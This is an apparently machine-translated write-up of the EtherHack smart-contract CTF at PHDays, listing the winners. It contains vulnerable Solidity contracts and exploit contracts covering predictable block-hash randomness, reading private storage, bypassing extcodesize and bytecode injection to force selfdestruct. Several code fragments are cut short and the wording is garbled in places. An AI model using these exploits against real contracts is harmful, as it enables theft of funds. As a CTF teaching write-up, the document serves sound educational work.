
This year, for the first time, a contest called
EtherHack was held at
PHDays . Participants sought vulnerabilities in smart speed contracts. In this article we will tell you about the tasks of the competition and possible solutions.
Azino 777
Win a lottery and break the bank!
The first three tasks were related to errors in generating pseudo-random numbers, which we recently talked about: We
predict random numbers in smart Ethereum contracts . The first task was based on the pseudo-random number generator (PRNG), which used the hash of the last block as a source of entropy for generating random numbers:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Since the result of calling
block.blockhash(block.number-1)
will be the same for any transaction within a single block, an attack-exploit contract with the same
rand()
function can be used in an attack to trigger a target contract through an internal message:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Private ryan
We have added a private initial value that no one will ever calculate.
This task is a slightly complicated version of the previous one. The variable seed, which is considered private, is used to offset the sequence number of the block (block.number), so that the hash of the block does not depend on the previous block. After each bet, the seed is rewritten to a new "random" offset. For example, in the lottery
Slotthereum it was exactly that.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
As in the previous task, the hacker only needed to copy the
rand()
function into the exploit contract, but in this case the value of the private seed variable needed to be obtained outside the blockchain and then sent to the exploit as an argument. To do this, you could use the
web3.eth.getStorageAt () method from the web3 library:
Reading the storage of the contract outside the blockchain to obtain the initial valueAfter receiving the initial value, it remains only to send it to the exploit, which is almost identical to the one in the first task:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Wheel of fortune
The following block hash is used in this lottery. Try to calculate it!
In this task, it was necessary to find out the hash of the block, whose number was saved in the Game structure after the bet was made. Then this hash was retrieved to generate a random number after making the next bet.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
In this case, there are two possible solutions.
- Call the target contract twice through an exploit contract. The result of the function call block.blockhash (block.number) will always be zero.
- Wait for 256 blocks, and make a second bet. The hash of the saved block sequence number will be zero due to limitations of the Ethereum virtual machine (EVM) in the number of block hashes available.
In both cases, the winning bid will be
uint256(keccak256(bytes32(0))) % 100
or "47".
Call me maybe
This contract does not like when it is caused by other contracts.
One of the options for protecting a contract from being invoked by other contracts is to use an EVM
extcodesize
assembler-instruction, which returns the contract size at its address. The method consists in using the assembler insert to apply this instruction to the address of the sender of the transaction. If the result is greater than zero, then the sender of the transaction is a contract, since regular addresses in Ethereum do not have a code. It was this approach that was used in this assignment to prevent the contract from being called up by other contracts.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
The
tx.origin
transaction
tx.origin
points to the original creator of the transaction, and msg.sender points to the last caller. If we send a transaction from a normal address, these variables will be equal, and we will end up with
revert()
. Therefore, to solve our problem, it was necessary to bypass the
extcodesize
instruction
extcodesize
, so that
tx.origin
and
msg.sender
were different. Fortunately, there is one glorious feature in EVM that will help with this:

And indeed, when a newly placed contract causes some other contract in the constructor, it does not yet exist in the blockchain itself, it acts exclusively in the role of the wallet. Thus, the code is not tied to a new contract and extcodesize will return zero:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
The lock
Oddly enough, the lock is closed. Try to find the pin code through the unlock function (bytes4 pincode). Each unlock attempt will cost you 0.5 esters.
In this task, the participants were not given a code - they had to restore the contract logic by its byte code themselves. One option was to use Radare2 - a platform that is used for
disassembling and
debugging EVM .
First, let's post an example of the task and enter a code at random:
await contract.unlock("1337", {value: 500000000000000000}) →false
The attempt, of course, is good, but unsuccessful. Now we will try to debug this transaction.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
In this case, we instruct Radare2 to use the evm architecture. Then this tool connects to the Ethereum node and retrieves the trace of this transaction in the virtual machine. And now, finally, we are ready to dive into the EVM bytecode.
First of all, you need to perform an analysis:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Next, disassemble the first 1000 instructions (this should be enough to cover the entire contract) using the pd 1000 command and switch to viewing the graph with the VV command.
In EVM bytecode compiled using
solc
, usually the first is the function manager. Based on the first four bytes of the call data containing the function signature, which is defined as
bytes4(sha3(function_name(params)))
, the function manager decides which function to call. We are interested in the
unlock(bytes4)
function, which corresponds to
0x75a4e3a0
.
Following the execution flow using the s key, we will get to the node that compares the
callvalue
instruction with the value
0x6f05b59d3b20000
or
500000000000000000
, which is equivalent to 0.5 ether:
push8 0x6f05b59d3b20000 callvalue lt
If the provided air is enough, then we fall into a node that resembles a control structure:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
The code puts the value 0x4 at the top of the stack, checks the upper bound (the value should not exceed 0xff) and compares lt with some value duplicated from the fourth stack element (dup4).
Scrolling down to the bottom of the graph, we see that this fourth element is essentially an iterator, and this control structure is a cycle that corresponds to
for(var i=0; i<4; i++):
push1 0x1 add swap4
If we consider the body of the loop, it becomes obvious that it performs a search of four incoming bytes and performs some operations with each of the bytes. First, the loop checks that the nth byte is greater than 0x30:
push1 0x30 dup3 lt iszero
and also that this value is less than 0x39:
push1 0x39 dup3 gt iszero
what is essentially a check that this byte is in the range from 0 to 9. If the check was successful, then we find ourselves in the most important block of code:

We divide this block into parts:
1. The third item on the stack is the ASCII code of the nth byte of the pin code. 0x30 (ASCII code for zero) is pushed onto the stack and then subtracted from the code of this byte:
push1 0x30 dup3 sub
That is,
pincode[i] - 48
, and we essentially get a digit from the ASCII code, let's call it d.
2. 0x4 is added to the stack and used as an exponent for the second item in the stack, d:
swap1 pop push1 0x4 dup2 exp
That is
d ** 4
.
3. The fifth element of the stack is extracted and the result of the exponentiation is added to it. Let's call this sum S:
dup5 add swap4 pop dup1
That is,
S += d ** 4
.
4. 0xa (ASCII code for 10) is pushed onto the stack and used as a multiplier for the seventh stack element (which was the sixth before this addition). We do not know what it is, so we call this element U. Then d is added to the result of the multiplication:
push1 0xa dup7 mul add swap5 pop
That is:
U = U * 10 + d
or, more simply, this expression restores the entire pin-code as a number from individual bytes
([0x1, 0x3, 0x3, 0x7] → 1337)
.
The most difficult thing we have done, now move on to the code after the cycle.
dup5 dup5 eq
If the fifth and sixth elements in the stack are equal, then the execution thread will lead us to the sstore instruction, which sets a flag in the storage of contracts. Since this is the only sstore instruction, it seems that this is what we were looking for.
But how to pass this test? As we have already found out, the fifth element in the stack is S, and the sixth is U. Since S is the sum of all pin-code digits raised to the fourth power, we need a pin code for which this condition will be satisfied. In our case, the analysis showed that
1**4 + 3**4 + 3**4 + 7**4
does not equal 1337, and we did not get to the winning instruction
sstore
.
But now we can calculate a number that satisfies the conditions of this equation. There are only three numbers that can be written down as the sum of the numbers in their fourth power: 1634, 8208 and 9474. Any of them can open the lock!
Pirate Ship
Hey, cock! Pirate ship docked in port. Make him anchor and raise the flag with the Jolly Roger and go in search of treasure.
The standard course of execution of the contract includes three actions:
- A call to the
dropAnchor()
function with a block number, which should be more than 100,000 blocks larger than the current one. The function dynamically creates a contract, which is an “anchor” that can be “raised” with the help of selfdestruct()
after the specified block. - Call the
pullAnchor()
function, which initiates selfdestruct()
if enough time has passed (a lot of time!). - A call to the sailAway () function, which sets
blackJackIsHauled
to true if there is no anchor contract.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
The vulnerability is quite obvious: we have a direct injection of assembler instructions when creating a contract in the
dropAnchor()
function. But the main difficulty was to create a payload that will allow us to pass the check on
block.number
.
In EVM, you can create contracts using the create statement. Its arguments are value, input offset and input size. value is the bytecode that places the contract itself (initialization code). In our case, the initialization code + contract code is placed in uint256 (thanks to the
GasToken team for the idea):
0x6a63004141414310585733ff600052600b6015f3
where the bytes in bold are the contract code and 414141 is the injection site. Since we are faced with the task of getting rid of the throw operator, we need to insert our new contract and rewrite the closing part of the initialization code. Let's try to inject the contract with the instruction 0xff, which will lead to the unconditional removal of the contract anchor using
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; push9 contract
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; return
If we convert this byte sequence to
uint256 (9081882833248973872855737642440582850680819)
and use it as an argument for the
dropAnchor()
function, we get the following value for the code variable (the byte-code in bold is our payload):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
After the code variable becomes part of the initcode variable, we get the following value:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Now the high bytes
0x6300
gone, and the rest, containing the original bytecode, is discarded after
0xf3 (return)
.

As a result, a new contract with modified logic is created:
41 ;; coinbase
41 ;; coinbase
41 ;; coinbase
ff ;; selfdestruct
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk
If we now call the pullAnchor () function, this contract will be immediately destroyed, since we no longer have checks on the block.number. After that, call the function sailAway () and celebrate the victory!
results
- First place and broadcast in an amount equivalent to 1 000 US dollars: Alexey Pertsev (p4lex)
- Second place and Ledger Nano S: Alexey Markov
- Third place and souvenirs PHDays: Alexander Vlasov
All results:
etherhack.positive.com/#/scoreboard
Congratulations to the winners and thanks to all the participants!
PS We are grateful to
Zeppelin for placing the source code of the
Ethernaut CTF platform in open access.